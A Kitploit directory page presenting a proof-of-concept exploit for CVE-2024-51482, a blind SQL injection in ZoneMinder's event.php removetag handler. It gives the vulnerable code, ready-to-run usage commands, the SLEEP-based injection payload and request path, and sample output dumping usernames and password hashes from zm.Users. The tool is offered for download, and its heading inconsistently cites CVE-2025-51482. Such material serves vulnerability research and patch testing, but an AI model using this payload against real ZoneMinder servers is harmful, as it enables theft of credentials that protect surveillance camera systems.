Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, Dump Credentials From zm.Users | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2024-51482
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, Dump Credentials From zm.Users

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-51482 — ZoneMinder Time-Based Blind SQL Injection

A proof-of-concept exploit for CVE-2024-51482, an authenticated time-based blind SQL injection vulnerability in ZoneMinder v1.37. ≤ 1.37.64*.

The script extracts usernames and password hashes from the zm.Users table using binary search (bisection) over a SLEEP()-based oracle.


Vulnerability

The removetag handler in web/ajax/event.php safely parameterizes a DELETE query but then directly interpolates user-controlled input into a subsequent SELECT:

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId comes straight from $_REQUEST['tid'] with no sanitization, allowing injection through the tid parameter.


Requirements

  • Python 3.8+
  • requests (pip install requests)
  • A valid ZMSESSID session cookie from a logged-in ZoneMinder account

Usage

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Arguments:

  • --url — ZoneMinder base URL (e.g. http://cctv.htb/zm) (required)
  • --zmsessid — ZMSESSID cookie value (required)
  • --sleep — sleep seconds for time-based inference (default: 3)
  • --timeout — request timeout in seconds (default: sleep + 3)

Examples:

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Getting the Session Cookie

Log in to ZoneMinder, open browser DevTools (F12) -> Application -> Cookies, and copy the value of ZMSESSID. Alternatively, intercept any authenticated request in Burp Suite and grab it from the Cookie header.


Output

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

How It Works

  1. Baseline — sends a clean tid=1 request to measure normal response time.
  2. Confirmation — injects SLEEP(2) and verifies the response is delayed ≥2 seconds.
  3. Row count — binary searches COUNT(*) on zm.Users to find how many accounts exist.
  4. Extraction — for each user, binary searches the ASCII value of every character in both Username and Password (~7 requests per character vs. 95 for linear scan).

Payload structure:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 is required because the safe DELETE before the vulnerable SELECT would throw a 500 error without it, aborting execution before injection is reached.


References

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Disclaimer

This tool is for authorized security testing and educational research only.
Always obtain explicit written permission before testing any system you do not own.
The author assumes no responsibility for misuse or damage caused by this software.

Download Tool